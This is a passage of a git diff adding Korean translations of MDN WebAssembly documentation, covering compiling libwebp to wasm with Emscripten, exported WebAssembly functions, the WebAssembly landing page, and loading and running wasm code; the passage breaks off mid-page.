+<p>이 프로그램을 컴파일하려면 -I 플래그를 사용하여 libwebp의 헤더 파일을 어디에서 찾을 수 있는지 컴파일러에게 알려야하며 필요한 libwebp의 모든 C 파일을 전달해야합니다. 유용한 전략은 <strong>모든</strong> C 파일을 제공하고 컴파일러에 의존하여 불필요한 모든 것을 제거하는 것입니다. 그것은 훌륭하게 작동할 것입니다.</p>
+
+<pre class="brush: bash">$ emcc -O3 -s WASM=1 -s EXTRA_EXPORTED_RUNTIME_METHODS='["cwrap"]' \
+    -I libwebp \
+    webp.c \
+    libwebp/src/{dec,dsp,demux,enc,mux,utils}/*.c</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 이 전략은 모든 C 프로젝트에서 작동하지 않습니다. 많은 프로젝트는 컴파일하기 전에 시스템 특정 코드를 생성하기 위해 autoconf / automake를 사용합니다. Emscripten은 <code>emconfigure</code>와 <code>emmake</code>를 제공하여 이 명령을 랩핑하고 적절한 매개 변수를 주입합니다. <a href="https://kripken.github.io/emscripten-site/docs/compiling/Building-Projects.html">Emscripten documentation</a>에서 자세한 내용을 찾을 수 있습니다.</p>
+</div>
+
+<p>이제 새 모듈을 로드하기 위해 HTML과 JavaScript 만 있으면 됩니다.</p>
+
+<pre class="brush: html">&lt;script src="./a.out.js"&gt;&lt;/script&gt;
+&lt;script&gt;
+  Module.onRuntimeInitialized = async _ =&gt; {
+    const api = {
+      version: Module.cwrap('version', 'number', []),
+    };
+    console.log(api.version());
+  };
+&lt;/script&gt;</pre>
+
+<p><a href="https://googlechrome.github.io/samples/webassembly/version.html">output</a>에 라이브러리의 버전 번호가 정확히 표시됩니다.</p>
+
+<p><img alt="  Screenshot of the DevTools console showing the correct versionnumber." src="https://mdn.mozillademos.org/files/15913/version.png" style="border-style: solid; border-width: 1px;"></p>
+
+<div class="note">
+<p><strong>Note: </strong>libwebp는 현재 버전 인 a.b.c를 16 진수 0xabc로 반환합니다. 예를 들어 v0.6.1은 0x000601 = 1537로 인코딩됩니다.</p>
+</div>
+
+<h3 id="Get_an_image_from_JavaScript_into_Wasm">Get an image from JavaScript into Wasm</h3>
+
+<p>인코더의 버전 번호를 얻는 것은 좋지만 실제 이미지 인코딩은 더욱 인상적입니다.</p>
+
+<p>자 여기서! 어떻게하면 이미지를 wasm으로 가져올 수 있는지가 가장 먼저 궁굼할 것입니다. <a href="https://developers.google.com/speed/webp/docs/api#simple_encoding_api">encoding API of libwebp</a>를 보면 RGB, RGBA, BGR 또는 BGRA의 바이트 배열이 필요함을 알 수 있습니다. 다행히 Canvas API에는 RGBA의 이미지 데이터가 포함 된 {{jsxref ( "Uint8ClampedArray")}}를 던져주는 {{domxref ( "CanvasRenderingContext2D.getImageData")}}가 있습니다.</p>
+
+<pre class="brush: js"> async function loadImage(src) {
+  // Load image
+  const imgBlob = await fetch(src).then(resp =&gt; resp.blob());
+  const img = await createImageBitmap(imgBlob);
+  // Make canvas same size as image
+  const canvas = document.createElement('canvas');
+  canvas.width = img.width;
+  canvas.height = img.height;
+  // Draw image onto canvas
+  const ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  return ctx.getImageData(0, 0, img.width, img.height);
+}</pre>
+
+<p>이제 이것은 자바 스크립트에서 wasm로 데이터를 복사하는 것만이 남았습니다. 이를 위해서 두 가지 추가 기능, 즉 wasm 내부의 이미지에 메모리를 할당하는 기능과 다시 해제 할 수있는 기능을 노출해야합니다.</p>
+
+<pre class="brush: cpp">#include &lt;stdlib.h&gt; // required for malloc definition
+
+EMSCRIPTEN_KEEPALIVE
+uint8_t* create_buffer(int width, int height) {
+  return malloc(width * height * 4 * sizeof(uint8_t));
+}
+
+EMSCRIPTEN_KEEPALIVE
+void destroy_buffer(uint8_t* p) {
+  free(p);
+}</pre>
+
+<p><code>create_buffer()</code> 함수는 RGBA 이미지에 대한 버퍼를 할당하므로 픽셀 당 4 바이트입니다. <code>malloc()</code>에 의해 반환 된 포인터는 그 버퍼의 첫번째 메모리 셀의 주소입니다. 포인터가 JavaScript 토큰으로 반환되면 포인터는 숫자로 취급됩니다. cwrap을 사용하여 JavaScript에 함수를 노출 한 후에는 해당 번호를 사용하여 버퍼의 시작 부분을 찾고 이미지 데이터를 복사 할 수 있습니다.</p>
+
+<pre class="brush: js">const api = {
+  version: Module.cwrap('version', 'number', []),
+  create_buffer: Module.cwrap('create_buffer', 'number', ['number', 'number']),
+  destroy_buffer: Module.cwrap('destroy_buffer', '', ['number']),
+};
+
+const image = await loadImage('./image.jpg');
+const p = api.create_buffer(image.width, image.height);
+Module.HEAP8.set(image.data, p);
+// ... call encoder ...
+api.destroy_buffer(p);</pre>
+
+<h3 id="Encode_the_Image">Encode the Image</h3>
+
+<p>이제 wasm에서 이미지를 사용할 수 있습니다. 이번엔 WebP 인코더를 호출하여 작업을 수행 할 차례입니다. <a href="https://developers.google.com/speed/webp/docs/api#simple_encoding_api">WebP documentation</a>을 보면 <code>WebPEncodeRGBA</code>가 가장 적합한 것 같습니다. 이 함수는 0과 100 사이의 품질 옵션뿐만 아니라 입력 이미지 및 치수에 대한 포인터를 사용합니다. 또한 WebP 이미지가 완료되면 <code>WebPFree()</code>를 사용하여 해제해야하는 출력 버퍼를 할당합니다.</p>
+
+<p>인코딩 작업의 결과는 출력 버퍼와 그 길이입니다. C의 함수는 메모리를 동적으로 할당하지 않는 한 반환 유형으로 배열을 가질 수 없으므로 이 예제는 정적 전역 배열에 의존합니다. 실제로는 32 비트 폭의 wasm 포인터에 의존합니다. 그러나 이것은 일을 단순하게 유지하는 적절한 방법입니다.</p>
+
+<pre class="brush: js">int result[2];
+EMSCRIPTEN_KEEPALIVE
+void encode(uint8_t* img_in, int width, int height, float quality) {
+  uint8_t* img_out;
+  size_t size;
+
+  size = WebPEncodeRGBA(img_in, width, height, width * 4, quality, &amp;img_out);
+
+  result[0] = (int)img_out;
+  result[1] = size;
+}
+
+EMSCRIPTEN_KEEPALIVE
+void free_result(uint8_t* result) {
+  WebPFree(result);
+}
+
+EMSCRIPTEN_KEEPALIVE
+int get_result_pointer() {
+  return result[0];
+}
+
+EMSCRIPTEN_KEEPALIVE
+int get_result_size() {
+  return result[1];
+}</pre>
+
+<p>이제 그 모든 것을 갖추면 인코딩 함수를 호출하고 포인터와 이미지 크기를 가져 와서 자신의 JavaScript 버퍼에 넣은 다음 프로세스에 할당 된 모든 Wasm 버퍼를 해제 할 수 있습니다.</p>
+
+<pre class="brush: js">api.encode(p, image.width, image.height, 100);
+const resultPointer = api.get_result_pointer();
+const resultSize = api.get_result_size();
+const resultView = new Uint8Array(Module.HEAP8.buffer, resultPointer, resultSize);
+const result = new Uint8Array(resultView);
+api.free_result(resultPointer);</pre>
+
+<div class="note">
+<p><strong>Note:</strong> <code>new Uint8Array(someBuffer)</code>는 <code>new Uint8Array(someTypedArray)</code>가 데이터를 복사하는 동안 동일한 memory chunk에 새로운 뷰를 생성합니다.</p>
+</div>
+
+<p>이미지의 크기에 따라, wasm이 입력 및 출력 이미지를 모두 수용할 만큼 메모리를 늘릴 수 없는 오류가 발생할 수 있습니다.</p>
+
+<p><img alt="
+  Screenshot of the DevTools console showing an error." src="https://mdn.mozillademos.org/files/15922/error.png"></p>
+
+<p>다행히도 이 문제에 대한 해결책은 오류 메시지에 있습니다. 컴파일 명령에 <code>-s ALLOW_MEMORY_GROWTH=1</code>을 추가하기 만하면됩니다.</p>
+
+<p>WebP 인코더를 컴파일하고 JPEG 이미지를 WebP로 코드 변환했습니다. 제대로 동작하는지 확인하기 위해 결과 버퍼를 블롭으로 변환하고 <code>&lt;img&gt;</code> 요소에 사용합니다.</p>
+
+<pre class="brush: js">const blob = new Blob([result], {type: 'image/webp'});
+const blobURL = URL.createObjectURL(blob);
+const img = document.createElement('img');
+img.src = blobURL;
+document.body.appendChild(img)
+</pre>
+
+<p>보거라! 새로운 WebP 이미지의 영광을. :) <a href="https://googlechrome.github.io/samples/webassembly/image.html">Demo</a> | <a href="/en-US/docs/">Full Code</a> </p>
+
+<p><img alt="  DevTools’ network panel and the generated image." src="https://mdn.mozillademos.org/files/15914/result.jpg" style="border-style: solid; border-width: 1px;"></p>
diff --git a/files/ko/webassembly/exported_functions/index.html b/files/ko/webassembly/exported_functions/index.html
new file mode 100644
index 0000000000..6d8b728b22
--- /dev/null
+++ b/files/ko/webassembly/exported_functions/index.html
@@ -0,0 +1,71 @@
+---
+title: Exported WebAssembly functions
+slug: WebAssembly/Exported_functions
+translation_of: WebAssembly/Exported_functions
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">Exported WebAssembly functions는 JavaScript에서 WebAssembly 함수를 나타내는 방법입니다. 여기서는 이 함수들에 대해 더 자세히 설명합니다.</p>
+
+<h2 id="Exported..._뭐요">Exported... 뭐요?</h2>
+
+<p>내보낸 WebAssembly 함수는 기본적으로 JavaScript에서 WebAssembly 함수를 나타내는 JavaScript 래퍼입니다. 호출 할 때 배경에서 백그라운드로 액티비티를 가져와 wasm이 작업 할 수있는 유형 (예 : JavaScript 숫자를 Int32로 변환)으로 변환하고, 인수가 wasm 모듈 내부의 함수로 전달되고, 함수가 호출되며, 결과가 변환되어 JavaScript로 다시 전달됩니다.</p>
+
+<p>두 가지 방법으로 내 보낸 WebAssembly 함수를 검색 할 수 있습니다.</p>
+
+<ul>
+ <li>기존 테이블에서 <code><a href="/en-US/docs/WebAssembly/API/Table/get">Table.prototype.get()</a></code>을 호출합니다.</li>
+ <li><code><a href="/en-US/docs/WebAssembly/API/Instance/exports">Instance.exports</a></code>를 통해 wasm 모듈 인스턴스에서 내보낸 함수에 액세스합니다.</li>
+</ul>
+
+<p>어느 쪽이든, 기본 함수에 대해 동일한 종류의 래퍼를 사용합니다. JavaScript의 관점에서 볼 때, 모든 wasm 함수가 JavaScript 함수이기도하지만 - 내보낸 wasm 함수 객체 인스턴스에 의해 캡슐화되며 액세스 할 수있는 제한된 방법이 있습니다.</p>
+
+<h2 id="An_example">An example</h2>
+
+<p>예제를 보겠습니다. (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/other-examples/table-set.html">table-set.html</a>로 찾을 수 있으며 실시간으로 보기(<a href="https://mdn.github.io/webassembly-examples/other-examples/table-set.html">running live also</a>)도 참고하시고. wasm <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat">text representation</a> 표현도 확인하세요).</p>
+
+<pre class="brush: js">var otherTable = new WebAssembly.Table({ element: "anyfunc", initial: 2 });
+
+WebAssembly.instantiateStreaming(fetch('table.wasm'))
+.then(obj =&gt; {
+  var tbl = obj.instance.exports.tbl;
+  console.log(tbl.get(0)());  // 13
+  console.log(tbl.get(1)());  // 42
+  otherTable.set(0,tbl.get(0));
+  otherTable.set(1,tbl.get(1));
+  console.log(otherTable.get(0)());
+  console.log(otherTable.get(1)());
+});</pre>
+
+<p>{{jsxref("WebAssembly.Table")}}생성자를 사용하여 JavaScript에서 테이블 (<code>otherTable</code>)을 만든 다음 {{jsxref("WebAssembly.instantiateStreaming()")}}를 메서드를 사용하여 table.wasm를 우리가 만든 페이지에 로드합니다.</p>
+
+<p> </p>
+
+<p>그런 다음 모듈에서 함수를 내보내고 <code><a href="/en-US/docs/WebAssembly/API/Table/get">tbl.get()</a></code>을 통해 참조하는 함수를 검색하고 각 함수를 호출 한 결과를 콘솔에 기록합니다. 그런 다음 <code>set()</code>을 사용하여 <code>otherTable</code> 테이블에 tbl 테이블과 동일한 함수에 대한 참조가 포함되도록합니다.</p>
+
+<p>이를 증명하기 위해 우리는 이러한 참조를 <code>otherTable</code>에서 다시 검색하여 그 결과를 콘솔에도 출력하므로 동일한 결과를 얻을 수 있습니다.</p>
+
+<h2 id="They_are_real_functions">They are real functions</h2>
+
+<p>앞의 예에서 각 <code><a href="/en-US/docs/WebAssembly/API/Table/get">Table.prototype.get()</a></code> 호출의 반환 값은 내 보낸 WebAssembly 함수입니다. 이전에 우리가 이야기했던 대로입니다.</p>
+
+<p>이것들은 WebAssembly 함수에 대한 래퍼 (wrapper)가 될뿐만 아니라 실제 JavaScript 함수임을 주목할 필요가 있습니다. 위의 예제를 <a href="/en-US/docs/WebAssembly#Browser_compatibility">WebAssembly-supporting browser</a>에 로드하고 콘솔에서 다음 줄을 실행하세요.</p>
+
+<pre class="brush: js">var testFunc = otherTable.get(0);
+typeof testFunc;</pre>
+
+<p>그러면 결과 함수(<code>function</code>)가 반환됩니다. 그런 다음 JavaScript에서 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind()</a></code> 등의 다른 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">functions</a>를 수행 할 수 있는 기능을 수행 할 수 있습니다. <code>testFunc.toString()</code>은 흥미로운 결과를 반환합니다.</p>
+
+<pre class="brush: js">function 0() {
+    [native code]
+}</pre>
+
+<p>이렇게하면 wrapper-type의 본질에 대해 더 많이 알 수 있습니다.</p>
+
+<p>exported WebAssembly functions에 대해 알아야 할 몇 가지 사항은 다음과 같습니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length">length</a> 속성은 wasm 함수 시그니처에 선언 된 인수의 개수입니다.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/name">name</a> 속성은 wasm 모듈에서 함수의 인덱스에 대한 <code>toString()</code> 결과입니다.</li>
+ <li>i64 유형 값을 사용하거나 가져 오는 내 보낸 wasm 함수를 호출하려고하면 JavaScript는 현재 i64를 정확하게 표현할 방법이 없기 때문에 현재 오류가 발생합니다. 이후에 개선 될 것입니다. - 새로운 int64 유형이 wasm에 의해 사용될 수 있도록 향후 표준으로 고려되고 있습니다.</li>
+</ul>
diff --git a/files/ko/webassembly/index.html b/files/ko/webassembly/index.html
new file mode 100644
index 0000000000..4a63901f7b
--- /dev/null
+++ b/files/ko/webassembly/index.html
@@ -0,0 +1,126 @@
+---
+title: 웹어셈블리
+slug: WebAssembly
+tags:
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - WebAssembly
+  - wasm
+translation_of: WebAssembly
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary" dir="ltr">WebAssembly는 최신 웹 브라우저에서 실행할 수 있는 새로운 유형의 코드입니다. 네이티브에 가까운 성능으로 동작하며 컴팩트한 바이너리 포맷을 제공하는 저수준 어셈블리 언어로, C/C++, Rust 등과 같은 언어의 컴파일 타겟으로써 그런 언어로 작성된 프로그램을 웹에서 사용할 수 있게 해줍니다. 또한 JavaScript와 함께 실행되며 서로를 보완할 수 있도록 설계되었습니다.</p>
+
+<h2 dir="ltr" id="간단히_말해서">간단히 말해서</h2>
+
+<p dir="ltr">웹어셈블리는 웹 플랫폼에 있어서 상당히 큰 의의를 갖습니다 — 여러 언어로 작성된 코드들을 네이티브에 가까운 속도로 웹에서 돌릴 수 있는 길을 제공하며, 이전까지는 웹에서 돌려볼 수 없었던 클라이언트 앱들을 웹에서 돌릴 수 있도록 만들어주기 때문입니다.</p>
+
+<p>WebAssembly는 JavaScript와 함께 보완되고 실행되도록 설계되었습니다. WebAssembly JavaScript API를 사용하여 WebAssembly 모듈을 JavaScript 앱에 불러와 둘 사이의 기능을 공유 할 수 있습니다. 따라서 WebAssembly 코드를 작성하는 방법을 몰라도 WebAssembly의 성능과 JavaScript의 편리함 및 유연성을 하나의 응용 프로그램에서 활용할 수 있습니다.</p>
+
+<p dir="ltr">더 훌륭한 점은, 주요 브라우저 벤더의 적극적인 참여를 통해 <a href="https://www.w3.org/wasm/">W3C 웹어셈블리 워킹 그룹</a> 및 <a href="https://www.w3.org/community/webassembly/">Community Group</a>에서 웹 표준으로 개발되고있다는 것입니다.</p>
+
+<p dir="ltr"></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 dir="ltr" id="가이드">가이드</h2>
+
+<dl>
+ <dt><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></dt>
+ <dd>웹 어셈블리가 무엇인지, 왜 그렇게 유용한지, 어떻게 기존의 웹 플랫폼(혹은 그 이상)에 적응시켜 사용할 수 있는지 기본 개념을 알아봅시다.</dd>
+ <dt><a href="/ko/docs/WebAssembly/C_to_wasm">Compiling a New C/C++ Module to WebAssembly</a></dt>
+ <dd><a href="/ko/docs/Mozilla/Projects/Emscripten/">Emscripten</a> 같은 도구를 사용해서 C/C++ 로 작성된 코드를 .wasm으로 컴파일할 수 있습니다. 어떻게 컴파일할 수 있는지 알아봅시다.</dd>
+ <dt><a href="/ko/docs/WebAssembly/existing_C_to_wasm">Compiling an Existing C Module to WebAssembly</a></dt>
+ <dd>WebAssembly의 핵심 기능은 기존의 C 라이브러리 개발 생태계을 활용해 개발자가 웹에서 사용할 수 있도록하는 것입니다.</dd>
+ <dt><a href="/ko/docs/WebAssembly/rust_to_wasm">Compiling from Rust to WebAssembly</a></dt>
+ <dd>Rust 코드를 작성했다면 WebAssembly로 컴파일 할 수 있습니다! 이 튜토리얼은 Rust 프로젝트를 컴파일하여 기존 웹 애플리케이션에서 사용하기 위해 알아야 할 모든 것을 설명합니다.</dd>
+ <dt><a href="/ko/docs/WebAssembly/Loading_and_running">Loading and running WebAssembly code</a></dt>
+ <dd>본 글에서는 .wasm 파일을 만든 후에 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> 나 <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> API를 이용하여 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly Javascript</a> API와 결합한 후 .wasm 파일을 브라우저로 가져오는 방법, 컴파일하고 초기화 하는 방법에 대해서 다룹니다.</dd>
+ <dt><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></dt>
+ <dd>.wasm 모듈을 브라우저로 불러왔으면, 사용해야겠지요? 본 글에서는 웹어셈블리 자바스크립트 API를 이용하여 웹어셈블리를 어떻게 사용하는지를 설명합니다.</dd>
+ <dt><a href="/ko/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a></dt>
+ <dd>익스포트 된 웹어셈블리 함수는 자바스크립트에서의 웹어셈블리 함수의 반영이며, 자바스크립트에서 웹어셈블리 코드를 호출할 수 있도록 해줍니다. 본 글에서는 익스포트 된 웹어셈블리 함수가 무엇인지에 대해 설명합니다.</dd>
+ <dt><a href="/ko/docs/WebAssembly/Understanding_the_text_format">Understanding WebAssembly text format</a></dt>
+ <dd>본 글에서는 웹어셈블리의 텍스트 포맷에 대해 설명합니다. 텍스트 포맷은 브라우저에서 개발자 도구를 이용하여 디버깅 할 때 보여지는 .wasm 모듈의 저수준(Low-level) 문자형 표현입니다.</dd>
+ <dt><a href="/ko/docs/WebAssembly/Text_format_to_wasm">Converting WebAssembly text format to wasm</a></dt>
+ <dd>본 글에서는 텍스트 포맷으로 작성된 웹어셈블리 모듈을 .wasm 바이너리로 변환하는 방법을 제시합니다. </dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 dir="ltr" id="API_참조">API 참조</h2>
+
+<dl>
+ <dt>{{jsxref("Global_objects/WebAssembly", "WebAssembly")}}</dt>
+ <dd>이 객체는 모든 웹어셈블리와 관련된 기능의 네임스페이스로서 역할합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Global_objects/WebAssembly/Global", "WebAssembly.Global()")}}</dt>
+ <dd><code>WebAssembly.Global</code> 객체는 전역 변수 인스턴스를 나타내며 JavaScript 및 하나 이상의 {{jsxref("WebAssembly.Module")}} 인스턴스에서 가져 오거나 내보낼 수 있습니다. 이렇게하면 여러 모듈을 동적으로 연결할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Global_objects/WebAssembly/Module", "WebAssembly.Module()")}}</dt>
+ <dd><code>WebAssembly.Module</code> 객체는 이미 브라우저에 의해 컴파일된 상태없는 웹어셈블리 코드를 담고있습니다. 게다가 여러번 인스턴스화 시킬 수 있고 효과적으로 합니다.<br>
+ WebAssembly.Module 객체는 브라우저에서 이미 컴파일 된 상태의stateless WebAssembly 코드를 포함하며 <a href="/ko/docs/Web/API/Worker/postMessage">Worker와 효율적으로 공유</a>하고 여러 번 인스턴스화 할 수 있습니다.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Instance", "WebAssembly.Instance()")}}</dt>
+ <dd><code>WebAssembly.Instance</code> 객체는 상태를 가지며, 실행가능한 <code>Module</code>의 인스턴스입니다. <code>Instance</code> 객체는 웹어셈블리 코드를 자바스크립트에서 부를 수 있도록 <a href="/ko/docs/WebAssembly/Exported_functions">익스포트된 모든 웹어셈블리 함수</a>를 포함하고있습니다.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/instantiateStreaming", "WebAssembly.instantiateStreaming()")}}</dt>
+ <dd><code>WebAssembly.instantiateStreaming ()</code> 함수는 WebAssembly 코드를 컴파일하고 인스턴스화하여 <code>모듈</code>과 첫 번째 <code>인스턴스</code>를 반환하는 기본 API입니다.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Memory", "WebAssembly.Memory()")}}</dt>
+ <dd><code>WebAssembly.Memory</code> 객체는 사이즈 조절 가능한 {{jsxref("Global_objects/ArrayBuffer", "ArrayBuffer")}}로, <code>Instance</code>가 접근하는 메모리를 로우(raw) 바이트들로 들고있습니다.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Table", "WebAssembly.Table()")}}</dt>
+ <dd><code>WebAssembly.</code><code>Table</code> 객체는 <code>Instance</code>에 의해 접근되는 불투명한 값(함수 레퍼런스 등)들의 사이즈 조절 가능한, 형식지정된 배열입니다.</dd>
+ <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
+ <dd>새 웹어셈블리 <code>CompileError</code> 객체를 생성합니다.</dd>
+ <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
+ <dd>새 웹어셈블리 <code>LinkError</code> 객체를 생성합니다.</dd>
+ <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
+ <dd>새 웹어셈블리 <code>RuntimeError</code> 객체를 생성합니다.</dd>
+</dl>
+</div>
+</div>
+
+<h2 dir="ltr" id="예제">예제</h2>
+
+<ul dir="ltr">
+ <li><a href="https://github.com/JasonWeathersby/WASMSobel">WASMSobel</a></li>
+ <li><a href="https://github.com/mdn/webassembly-examples/">webassembly-examples</a> 저장소에서 다른 예제들도 구경해보세요.</li>
+</ul>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>자바스크립트 API 정의 초안.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.WebAssembly")}}</div>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul dir="ltr">
+ <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li>
+ <li><a href="http://webassembly.org/">webassembly.org</a></li>
+ <li><a href="https://hacks.mozilla.org/category/webassembly/">WebAssembly articles on Mozilla Hacks blog</a></li>
+ <li><a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a></li>
+ <li><a href="/ko/docs/Web/HTTP/Headers/Large-Allocation">Large-Allocation HTTP header</a></li>
+ <li><a href="https://developers.google.com/web/updates/2018/03/emscripting-a-c-library">Emscripting a C Library to Wasm</a></li>
+</ul>
diff --git a/files/ko/webassembly/loading_and_running/index.html b/files/ko/webassembly/loading_and_running/index.html
new file mode 100644
index 0000000000..6634a6eb7d
--- /dev/null
+++ b/files/ko/webassembly/loading_and_running/index.html
@@ -0,0 +1,109 @@
+---
+title: Loading and running WebAssembly code
+slug: WebAssembly/Loading_and_running
+translation_of: WebAssembly/Loading_and_running
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">자바 스크립트에서 WebAssembly를 사용하려면 먼저 컴파일 / 인스턴스화 전에 모듈을 메모리로 가져와야합니다. 여기서 WebAssembly 바이트 코드를 가져 오는 데 사용할 수있는 다양한 메커니즘에 대한 참조와 함께 컴파일 / 인스턴스화 및 실행 방법에 대해 설명합니다.</p>
+
+<h2 id="뭐가_문제인가요">뭐가 문제인가요 ?</h2>
+
+<p>WebAssembly는 아직 <code>&lt;script type='module'&gt;</code> 또는 ES2015 <code>import</code> statements와 통합되어 있지 않으므로 imports를 사용하여 브라우저에서 가져올 방법이 없습니다.</p>
+
+<p>이전의 {{jsxref ( "WebAssembly.compile")}} / {{jsxref ( "WebAssembly.instantiate")}} 메소드를 사용하려면 WebAssembly 모듈 바이너리를 포함하는 {{domxref ( "ArrayBuffer")}}를 생성해야합니다. 원시 바이트를 가져온 다음 컴파일 / 인스턴스화합니다. 이것은 <code>new Function(string)</code>과 유사합니다. 단, 문자열 (JavaScript 소스 코드)을 바이트 배열 버퍼 (WebAssembly 소스 코드)로 대체한다는 점만 다릅니다.</p>
+
+<p>최신 {{jsxref("WebAssembly.compileStreaming")}}/{{jsxref("WebAssembly.instantiateStreaming")}} 방법이 훨씬 더 효율적입니다. <br>
+ 네트워크에서는 {{domxref("ArrayBuffer")}} 단계가 필요하지 않게 하면서 직접 바이트의 원시 스트림에 대한 작업을 수행합니다.</p>
+
+<p>그러면 어떻게 이 바이트를 어레이 버퍼에 넣고 컴파일할 수 있을까요? 다음 단원에서 설명합니다.</p>
+
+<h2 id="Using_Fetch">Using Fetch</h2>
+
+<p><a href="/ko/docs/Web/API/Fetch_API">Fetch</a>는 네트워크 리소스를 가져 오는 편리한 최신 API입니다.</p>
+
+<p>wasm 모듈을 가져오는 가장 빠르고 효율적인 방법은 새로운 {{jsxref("WebAssembly.instantiateStreaming()")}} 방법을 사용하는 것입니다. 이 method는 첫번째 인수로 fetch() 호출을 수행할 수 있는 메서드이며, 서버에서 스트리밍할 때 원시 바이트 코드에 액세스하면서 모듈 가져오기, 컴파일 및 인스턴스화를 한 번에 처리합니다.</p>
+
+<pre><code>WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(results =&gt; {
+  // Do something with the results!
+});</code>
+</pre>
+
+<p>직접 스트림에서 작동하지 않는 이전 {{domxref ( "WebAssembly.instantiate")}} 메서드를 사용한 경우에는 가져온 바이트 코드를 {{domxref ( "ArrayBuffer ")}}로 변환하는 추가단계가 필요합니다.</p>
+
+<pre><code>fetch('module.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.instantiate(bytes, importObject)
+).then(results =&gt; {
+  // Do something with the results!
+});</code></pre>
+
+<p> </p>
+
+<h3 id="Aside_on_instantiate()_overloads">Aside on instantiate() overloads</h3>
+
+<p>{{jsxref("WebAssembly.instantiate()")}} 함수에는 두 가지 오버로드 양식이 있습니다. 위에 표시된 형식은 바이트 코드를 인수로 컴파일하여 컴파일된 모듈 객체가 포함된 개체로 resolve되는 'promise'을 반환합니다. 개체는 다음과 같습니다.</p>
+
+<pre><code>{
+  module : Module // The newly compiled WebAssembly.Module object,
+  instance : Instance // A new WebAssembly.Instance of the module object
+}</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: 일반적으로 인스턴스자체만 신경 쓰지만,  모듈을 캐시하거나, <code><a href="/ko/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>를 통해 다른 worker나 윈도우와 공유하거나, 단순히 인스턴스를 더 생성하고자 할 때도 유용합니다. </p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 두 번째 오버로드 형식은 {{jsxref ( "WebAssembly.Module")}} 객체를 인수로 사용하여 인스턴스 객체를 직접 포함하는 promise를 결과로 반환합니다. <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate#Second_overload_example">Second overload</a> 예제를 참조하십시오.</p>
+</div>
+
+<h3 id="Running_your_WebAssembly_code">Running your WebAssembly code</h3>
+
+<p>JavaScript에서 WebAssembly 인스턴스를 사용할 수있게되면 {{jsxref("WebAssembly.Instance/exports", "WebAssembly.Instance.exports")}} 속성을 통해 내 보낸 속성을 사용할 수 있습니다 . 코드는 다음과 같습니다.</p>
+
+<pre><code>WebAssembly.instantiateStreaming(fetch('myModule.wasm'), importObject)
+.then(obj =&gt; {
+  // Call an exported function:
+  obj.instance.exports.exported_func();
+
+  // or access the buffer contents of an exported memory:
+  var i32 = new Uint32Array(obj.instance.exports.memory.buffer);
+
+  // or access the elements of an exported table:
+  var table = obj.instance.exports.table;
+  console.log(table.get(0)());
+})</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: WebAssembly 모듈에서 내보내는 방법에 대한 자세한 내용은 <a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a> 및 <a href="/ko/docs/WebAssembly/Understanding_the_text_format">Understanding WebAssembly text format</a>를 참조하십시오.</p>
+</div>
+
+<h2 id="Using_XMLHttpRequest">Using XMLHttpRequest</h2>
+
+<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code>는 Fetch보다 다소 오래된 방법이지만 형식화 된 배열을 얻는 데 부족함이 없습니다. <code>simple.wasm</code>을 그대로 사용하여 진행하겠습니다.</p>
+
+<ol>
